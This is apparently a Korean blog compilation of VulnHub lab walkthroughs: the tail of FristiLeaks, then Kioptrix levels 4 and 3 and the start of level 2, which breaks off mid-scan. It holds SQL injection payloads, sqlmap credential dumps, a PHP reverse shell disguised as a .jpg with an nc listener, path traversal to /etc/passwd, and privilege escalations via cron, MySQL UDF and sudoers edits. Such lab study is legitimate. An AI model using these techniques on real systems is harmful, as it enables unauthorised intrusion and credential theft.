mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
vboxadd:x:498:1::/var/run/vboxadd:/bin/false
eezeepz:x:500:500::/home/eezeepz:/bin/bash
admin:x:501:501::/home/admin:/bin/bash
fristigod:x:502:502::/var/fristigod:/bin/bash
fristi:x:503:100::/var/www:/sbin/nologin

 

eezeepz, admin,fristgod 등 3개의 유저에 접근할 수 있을 것으로 예상된다

# /home/eezeepz
bash-4.1$ cat notes.txt
cat notes.txt
Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

 

해석을 하자면

1. 자동화 체크를 할 수 있게 해놓았는데. /usr/bin 시스템 바이너리에만 접근을 줬다

2. 자주 사용하는 명령어는 Jerry라는 사람의 홈디렉터리에 복사해놨다고 한다 (chmod,df,cat,echo,ps,grep,egrep) 이 명령어는 /home/admin에서 사용가능 -> 꼭 절대 경로로 지정을 해야함

3. /tmp에 runthis 파일을 만들어 명령어를 넣으면,,,,출력은 cronresult 파일로 저장된다. -> 매 분마다 실행되는 cronjob 이다

 

라고 한다

 

bash-4.1$ echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
bash-4.1$ cd /tmp; ls
cd /tmp; ls
runthis
bash-4.1$ ls   
ls
runthis

잠깐 대기한 후

bash-4.1$ ls
ls
cronresult  runthis

bash-4.1$ cd /home/admin 
cd /home/admin

접근 권한이 없던 디렉터리인 /home/admin으로 접근 성공했다.

 

bash-4.1$ cat whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

bash-4.1$ cat cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

bash-4.1$ cat cryptpass.py 
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

디렉터리에 있는 파일들을 읽어보아하니 암호화된 무언가의 문자 그리고 그것을 인코딩했던 파이썬 코드가 있는것 같다

 

그전에 파이썬 코드를 가져와서 직접 실행 시켜봐야겠다

 

└─$ python2 encode.py mVGZ3O3omkJLmy2pcuTq
=RUI1ATplxKoZc0ng92ZCAwJUMIo
                                                                              
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
UEIFjxRI1yUp6yRHAuHGf52FOOwoTWIC

암호문의 암호문이다. 그렇다면 암호화 시키는 코드를 암호화를 푸는 코드로 변경 후에 실행 시켜본다

 

import base64,codecs,sys

def encodeString(str):
    #encoding
    #base64string= base64.b64encode(str)
    #return codecs.encode(base64string[::-1], 'rot13')
    
    #decoding
    base64decode = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64decode)

cryptoResult=encodeString(sys.argv[1])
print cryptoResult


# 실행
└─$ python2 encode.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!

암호회된 문자열을 디코딩한 후에 fristgod 계정의 비밀번호를 획득했다. 

 

이제 얼마 안남은 것 같다

bash-4.1$ cd
cd
bash-4.1$ pwd
pwd
/var/fristigod
bash-4.1$ ls -al
ls -al
total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25  2015 .
drwxr-xr-x. 19 root      root      4096 Nov 19  2015 ..
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Nov 25  2015 .secret_admin_stuff

cd 명령어로 fristigod 유저의 홈디렉터리로 이동한 다음 .bash_history 파일을 한번 흝어본다

/var/fristigod/.secret_admin_stuff/doCom 이 경로에 있는 doCom 은 비밀번호 없이 sudo로 사용이 가능하다 나도 한번 시도해본다

fristi 유저로 실행 시켜야 doCom이 실행되는 것을 확인했다.

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

이렇게 일회성 쉘을 제공하고 한가지를 입력하면 그것이 실행되는것 같다 

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

찾았다. bash_history에서 본 것 같이 뒤에 명령어를 붙이면 관리자 권한으로 명령어가 실행된다. sudo를 정상적으로 사용할 수 있으니 당연한 것인가...?

 

우선 그렇다면 이제 이 문제는 다 풀었다.

이렇게 하면 관리자 권한의 쉘을 획득할 수 있다.

 

홈 디렉터리를 확인해보라고하고 매우 중요하니 삭제하지 말라고합니다

 

bash-4.1# cd /root
cd /root
bash-4.1# ls
ls
fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: 이 플래그는 제가 가져갑니다!

https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

 

Kioptrix: Level 1.3 (#4)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

kioptrix 4번째 실습입니다. 실습 VM 구축은 이전에 설정하는 것과 똑같이 진행하면 이상없이 IP가 잘 잡힐것입니다.

 

실습 환경 : VirtualBox

 

 

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.140
Host is up (0.00054s latency).
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)
...
└─$ nmap -p- --max-retries 2 --min-rate 2000 -Pn -n --open 192.168.45.140 -oA tcpAll                  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:57 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 22.15 seconds

더 자세한 정보 수집을 위해 Nmap 기본 스크립트와 서비스 배너그래빙을 확인한다.

 

└─$ nmap -p 22,80,139,445 --max-retries 1 --min-rate 1000 -sV -sC -Pn -n --open 192.168.45.140 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 16:59 KST
Nmap scan report for 192.168.45.140
Host is up (0.00048s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.28a)
|   Computer name: Kioptrix4
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: Kioptrix4.localdomain
|_  System time: 2024-06-18T07:12:19-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -18h47m34s, deviation: 2h49m43s, median: -20h47m35s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds

22 - openssh 4.7p1 

80 - apache httpd 2.2.8

139, 445 - SMB 

 

NetBIOS : KIOPRIX4

Domain name : localdomain

FQDN : Kioptrix4.localdomain

 

SMB

SMB 관련된 포트가 열려있기 때문에 Nmap SMB 프로토콜 스크립트를 이용해 좀더 자세한 정보 수집을 한다

└─$ sudo nmap -p 445 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.140 -oA smb-445                       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-19 17:03 KST
Nmap scan report for 192.168.45.140
Host is up (0.00026s latency).
                                       
PORT    STATE SERVICE     VERSION                                             
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:B4:93:16 (Oracle VirtualBox virtual NIC)

Host script results:
|_smb-vuln-ms10-061: false                                                    
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-054: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.84 seconds

크게 특이점은 찾지 못했고, 다른 다양한 툴을 이용하여  SMB 프로토콜에 대한 정보 수집을 더 진행한다

# crackmapexec
└─$ crackmapexec smb 192.168.45.140
SMB         192.168.45.140  445    KIOPTRIX4        [*] Unix (name:KIOPTRIX4) (domain:localdomain) (signing:False) (SMBv1:True)

# smbclient -L
└─$ smbclient -L 192.168.45.140 
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Kioptrix4 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            KIOPTRIX4

 

enum4linux 툴을 이용했을때 그래도 이용할만한 정보를 찾았다

# username
loneferret
john
robert

 

딱히 외부에서 접근할만한 것은 보이지 않는다

 

WEB

웹사이트 방문시 로그인 창이 제일 먼저 뜬다. 페이지 소스, robots.txt 는 별다른 특이사항 없다.

 

gobuster 툴을 이용하여 디렉터리 브루트포싱 진행한다.

각 엔드포인트로 접근 시 별다른 특이사항이 없었고 대부분  index.php로 리디렉션되서 특이점이 없었다.

 

취약점 진단

#SQL Injection

우선 enum4linux에서 찾은 계정정보를 활용한다 그리고 SQL Injection을 하기 위해서  ' 를 넣어 어떤 결과가 출력되는지 테스트 후에 password에 1' or '1'='1 을 넣어서 로그인을 시도한다.

테스트

아주 좋은 에러가 발생했다. 대상 호스트는 MySQL 데이터베이스를 사용하고, 웹사이트 경로까지 파악을 완료했다. /images 엔드포인트가 노출되어있는 걸 봐선 File Upload 를 통해 익스플로잇도 가능할 것으로 예상한다.

# username:password

john:MyNameIsJohn

 

john
loneferret 는 등록되어있지 않음
robert가 john이 되었다....

획득한 것은 john의 계정정보. 이것을 활용하여 SSH 연결을 한다

 

초기 침투

대상 호스트에 john 계정으로 로그인을 성공했다.

매우 제한적인 아이디 인것 같다. 허용된 경로는 john의 홈디렉터리 밖에 없다. 우선 이 제한될 쉘을 벗어난다

제한된 쉘을 벗어난 이후 웹사이트를 운영중인 경로로 들어가 파일을 열어본다

john@Kioptrix4:/var/www$ cat checklogin.php
<?php                             
ob_start();                                                                                                                                                  
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

데이터베이스에 대한 정보가 chechlogin.php 파일에 저장되어있다. 정보를 파악했으니 데이터베이스에 직접 접근한다.

 

mysql> select * from members;
+----+----------+-----------------------+
| id | username | password              |
+----+----------+-----------------------+
|  1 | john     | MyNameIsJohn          | 
|  2 | robert   | ADGAdsafdfwt4gadfga== | 
+----+----------+-----------------------+
2 rows in set (0.00 sec)

john은 평문화된 비밀번호가 적혀있고 robert도 직접 접속해보니,, 뭔가 인코딩되거나 해시화된 비밀번호가 아닌 저 그대로의 비밀번호를 사용하고 있었다.

robert 계정 장악 완료

 

권한 상승

뭔가 새로운 방식의 권한 상승이 있을까 하다가 검색을 통해 찾은 MySQL UDF를 악용한 권한 상승입니다.

사용자 정의 함수를 사용하여 mysql을 실행시킨 사용자의 권한으로 명령을 실행 할 수 있는데, UDF가 작동하려면 관리자 권한으로 실행이 되어야하기 때문에 우선 확인을 한다.

john@Kioptrix4:/var/www$ ls -la /usr/lib/lib_mysqludf_sys.so 
-rw-rw-rw- 1 root root 12896 2012-02-04 10:08 /usr/lib/lib_mysqludf_sys.so

 

이 라이브러리는 sys_exec가 사용가능해서 외부 응용프로그램을 시작하는데 사용이 가능하다고 한다.

테스트를 위해서 직접 한번 해보겠다.

test.txt 파일을 만들었는데 만약 성공을 했다면 /dev/shm 디렉터리에 파일이 있을 것이다.

성공을 했다. 그렇다면 이 방법을 이용해 /bin/bash를 SUID 설정을 하여 관리자 권한으로 올라가보자

# 변경 전
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwxr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash

# 변경 후
john@Kioptrix4:/dev/shm$ ls -al /bin/bash
-rwsr-xr-x 1 root root 702160 2008-05-12 14:33 /bin/bash

대상 호스트 장악 완료

 

 

 

 

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

 

Kioptrix: Level 1.2 (#3)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이번 실습 VM의 특이사항이라면 /etc/hosts에 실습 VM의 IP를 넣어줘야한다는 점이 있습니다.

sudo vi /etc/hosts

#추가
192.168.45.193	kioptrix3.com

이와 같이 hosts에 추가를 해주고 실습을 진행하시면 됩니다.

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for kioptrix3.com (192.168.45.193)
Host is up (0.00034s latency).
MAC Address: 08:00:27:82:F9:F3 (Oracle VirtualBox virtual NIC)
...

/etc/hosts에 설정을 해주었다면 위 와 같이 뜰 것입니다.

 

Nmap을 이용한 포트스캐닝 및 서비스 배너그래빙 확인

# 전체 포트 스캐닝
└─$ nmap -p- --max-retries 2 --min-rate 1000 -Pn -n --open 192.168.45.193 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 17:05 KST
Nmap scan report for 192.168.45.193
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.19 seconds

# 디테일한 정보 수집
└─$ nmap -p 22,80 --max-retries 2 --min-rate 1500 -sV -sC -Pn -n --open 192.168.45.193 -oA tcpDetailed 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 17:06 KST
Nmap scan report for 192.168.45.193
Host is up (0.0050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

22 - openssh 4.7p1

80 - apache httpd 2.2.8

 

이번 대상 호스트는 웹서버만 운영중인 것으로 확인된다.

 

WEB(80)

대상 호스트에서 운영중인 웹 사이트이다. 게시글을 보아하니 블로그 형식의 웹사이트 같은데, gallery CMS를 이용해서 만들었다...라는 정보를 알려주었다.

blog를 눌렀을때의 화면이다. /gallery 라는 페이지에 대해서 나온다. 다양한 페이지가 있을 것으로 예상하여 gobuster 툴을 이용하여 디렉터리 브루트포싱을 실시하고, 웹 취약점을 파악하기 위해 nikto를 이용해서 잠재적 취약점 까지 파악한다.

nikto

대상 호스트에서 운영중인 데이터베이스는 MySQL 인것을 확인했다.

 

gobuster

다양한 디렉터리 들이 눈에 띄는데 우선 대상 호스트에서 운영중인 /gallery 그리고 관리자 패널인 /phpmyadmin 등등 획득할 정보들이 많은 것으로 판단된다.

 

/gallery

업로드되어있는 사진이 있다. 페이지 소스를 확인한다.

 

 

gadmin이라는 경로에 하이퍼링크와 함께 Admin이라고 쓰여져있다.

관리자만 들어올 수 있는 무언가 발견되었다. 그렇다면 gadmin에서 나와있는 저 gallarific의 취약점이 무엇인지 찾기 위해서 searchsploit 툴을 이용하여 취약점 진단을 실시한다

 

취약점 진단

└─$ searchsploit gallarific 
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gallarific - 'search.php?query' Cross-Site Scripting                                                                       | php/webapps/31369.txt
Gallarific - 'user.php' Arbirary Change Admin Information                                                                  | php/webapps/8796.html
Gallarific - Multiple Script Direct Request Authentication Bypass                                                          | php/webapps/31370.txt
Gallarific 1.1 - '/gallery.php' Arbitrary Delete/Edit Category                                                             | php/webapps/9421.txt
GALLARIFIC PHP Photo Gallery Script - 'gallery.php' SQL Injection                                                          | php/webapps/15891.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

SQL Injection, XSS 등등 다양한 취약점이 뜨는데 SQL Injection을 이용하여 익스플로잇을 해본다

gallery.php에서 SQL Injection 취약점을 이용하는 방법에 대한 텍스트 파일이다.

 

익스플로잇

SQL Injection이 취약한지 먼저 테스트한다.

 

gallery.php?id=1을 삽입 했는데도 이전의 화면과 동일한 화면이 뜨는 것이 보니 SQL Injection에 취약하다고 판단 에러메시지가 발생하는 경로가 있는지 체크하던 중 /gallery/gallery.php?id=1" 을 했을 때 에러메시지가 보이는 것을 확인했다

 

 

sqlmap 툴을 이용해 SQL Injection 공격을 실시한다.

 

sqlmap

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --dbs --dbms=MySQL
...
available databases [3]:                                                                                                                                     
[*] gallery                                                                                                                                                  
[*] information_schema                                                                                                                                       
[*] mysql 
...

3개의 스키마가 생성되어있는 것을 확인 gallery의 테이블에 대한 정보를 파악한다

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 -D gallery --tables
...
Database: gallery                                                                                                                                            
[7 tables]                                                                                                                                                   
+----------------------+
| dev_accounts         |                                                      
| gallarific_comments  |                                                      
| gallarific_galleries |                                                      
| gallarific_photos    |             
| gallarific_settings  |                                                                                                                                     
| gallarific_stats     |                                                      
| gallarific_users     |                                                      
+----------------------+  
...

7개의 테이블이 있다 유저 정보를 파악해서 관리자 계정으로 로그인해야하니 gallerific_users 테이블에 대한 칼럼 정보를 파악한다.

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 -D gallery -T gallarific_users --columns
...
Database: gallery                                                                                                                                            
Table: gallarific_users                                                       
[12 columns]                                                                                                                                                 
+-------------+--------------------------------+                                                                                                             
| Column      | Type                           |                                                                                                             
+-------------+--------------------------------+                              
| datejoined  | int(11)                        |                              
| email       | varchar(255)                   |                              
| firstname   | varchar(100)                   |                              
| issuperuser | tinyint(4)                     |                                                                                                             
| joincode    | varchar(20)                    |                              
| lastname    | varchar(100)                   |                              
| password    | varchar(100)                   |                              
| photo       | varchar(100)                   |                              
| userid      | int(11)                        |                              
| username    | varchar(100)                   |                              
| usertype    | enum('superuser','normaluser') |          
| website     | varchar(255)                   |                                                                                                             
+-------------+--------------------------------+
...

 

여기서 확인해야할것 username과 password 이다.

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 -D gallery -T gallarific_users -C username,password -dump
...
Database: gallery                                                             
Table: gallarific_users                                                       
[1 entry]                                                                     
+----------+----------+                                                       
| username | password |                                                       
+----------+----------+                                                       
| admin    | n0t7t1k4 |                                                       
+----------+----------+  
...

대상 호스트에 대한 데이터베이스 gallery에 대한 정보를 모두 덤프했고, 웹 사이트 관리자의 계정 뿐만아니라 dev_accounts 에 대한 해시화된 패스워드 및 계정정보도 파악을 했다.

Database: gallery                                                             
Table: dev_accounts                                                                                                                                          
[2 entries]                                                                   
+----+----------------------------------+------------+                                                                                                       
| id | password                         | username   |                                                                                                       
+----+----------------------------------+------------+                                                                                                       
| 1  | 0d3eccfb887aabd50f243b3f155c0f85 | dreg       |
| 2  | 5badcaf789d3d1d09794d8f021f40f0e | loneferret |                                                                                                       
+----+----------------------------------+------------+

SQL Injeciton 공격으로 대상 호스트가 운영중인 웹사이트에 관리자 계정으로 로그인하였다.

 

File Upload

이후 파일을 업로드 할 수 있다는 것을 확인했고, php-reverse-shell.php 를 이용해 리버스쉘을 획득한다. 하지만 사진을 업로드하는 것이기 때문에 .php는 인식을 하지 않을 것이고, 확장자를 .jpg 잘 실행될 수 있도록 해준다

└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

vi php-reverse-shell.php
...

$ip = '192.168.45.219';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

...

└─$ mv php-reverse-shell.php rev.jpg


# 리버스쉘 리스닝
└─$ nc -nlvp 1234           
listening on [any] 1234 ...

공격자의 IP와 포트번호를 넣고 파일을 업로드 시킨후에 파일을 실행시키기전 nc 명령어를 통해 리버스쉘 리스닝을 준비한다.

업로드된 파일을 /gadmin  경로에서 여는 것이 아닌 실제 대상 호스트의 파일 경로를 찾아야한다.

경로 순회를 할 수 있는 엔드포인트를 찾아 경로 순회를 하고 %00.html를 붙여서 /etc/passwd 파일을 실행 시켜 웹 사이트에 출력 시켰다. 그리고 에러메시지에서 알 수 있는 한가지 대상 호스트가 운영하는 웹사이트의 절대 경로를 확인 가능하다

/home/www/kioptrix3.com 그렇다면 경로와 파일이 업로드 되었을 때 랜덤으로 파일 이름이 변경되는 것을 파악하여 직접 경로로 들어가 우회를 하는 방법을 이용하면?

주소창에 이렇게 입력을 해준다. 사진에 대한 경로를 확인하는 것은 업로드된 파일에서 view를 눌러서 확인 가능하다

대상 호스트 초기 침투 완료

 

 

후속 정보 수집 

이전 데이터베이스에서 획득한 dev_account에서 획득한 유저의 계정정보를 hash-identifier 를 이용해 해시화된 알고리즘을 파악하고 johntheripper 툴을 이용하여 해시화된 비밀번호를 평무화된 비밀번호로 변환한다.

└─$ hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 0d3eccfb887aabd50f243b3f155c0f85
                                       
Possible Hashs:          
[+] MD5                       
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

HASH: 5badcaf789d3d1d09794d8f021f40f0e
                                       
Possible Hashs:          
[+] MD5                       
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

johntheripper 툴을 이용하여 해시화

 

권한 상승

su 명령어를 이용하여 두 계정에 접속해 sudo -l을 통해서 비밀번호 없이 사용가능한 명령어가 어떤 것이 있는지 확인한다

# dreg
dreg@Kioptrix3:/home$ sudo -l
sudo -l
[sudo] password for dreg: Mast3r

Sorry, user dreg may not run sudo on Kioptrix3.

# loneferret
loneferret@Kioptrix3:/home$ sudo -l
sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

sudo ht를 이용해 비밀번호 없이 명령어 실행시킨다.

loneferret@Kioptrix3:/$ sudo ht        
Error opening terminal: unknown.

위와 같은 에러가 발생한다면 export TERM=xtrem 를 한번 입력해주고 다시 sudo ht를 실행

이런 터미널 화면이 뜨면 F3을 눌러서 파일을 검색하여 수정을 할 수 있는데 가장 빠르고 쉽게 권한을 얻을 수 있는 방법은

/etc/sudoers 를 수정하는 것이라고 생각했다.

이렇게 수정해준 후 F2를 눌러 저장, 

[1]+  Stopped                 sudo ht
loneferret@Kioptrix3:/$ sudo -l
[sudo] password for loneferret: 
User loneferret may run the following commands on this host:
    (ALL) ALL
loneferret@Kioptrix3:/$

/etc/sudoers가 ALL 로 바뀌었다면 자유로이 명령어 사용이 가능하다는 것이다.

root@Kioptrix3:/# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
Kioptrix3
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:82:f9:f3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.193/24 brd 192.168.45.255 scope global eth1
    inet6 fe80::a00:27ff:fe82:f9f3/64 scope link 
       valid_lft forever preferred_lft forever

 

 

https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

 

Kioptrix: Level 1.1 (#2)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

실습 VM이 IP가 안잡힌다면 이전 글에서 설명한 실습 VM 셋팅을 보시고 셋팅을 하면 잘 잡힙니다.

 

실습 환경 : VirtualBox(Kali, 실습VM)

 

Kioptrix 시리즈가 5개 정도 있는데 이번엔 두번째 Level 1.1을 실습해보도록 하겠습니다. 

 

정보 수집

Nmap 툴을 이용한 통신 가능한 대상 호스트 확인 후 포트스캐닝 진행한다.

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.88
Host is up (0.00058s latency).
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)
...
└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.88 -oA tcpAll  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 16:59 KST
Nmap scan report for 192.168.45.88
Host is up (0.00046s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
613/tcp  open  hmmp-op
631/tcp  open  ipp
3306/tcp open  mysql
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds

# 포트번호 파싱
└─$ cat tcpAll.nmap | awk '{ print $1 }' | grep -i 'tcp' | tr -d '/tcp' | paste -s -d ','
22,80,111,443,613,631,3306

# tcpDetiled 
└─$ sudo nmap -p 22,80,111,443,613,631,3306 -sV -sC -Pn --max-retries 1 --min-rate 2000 -n --open 192.168.45.88 -oA tcpDetailed
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 17:01 KST
Nmap scan report for 192.168.45.88                                            
Host is up (0.00041s latency).  
                                       
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:                                                                
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
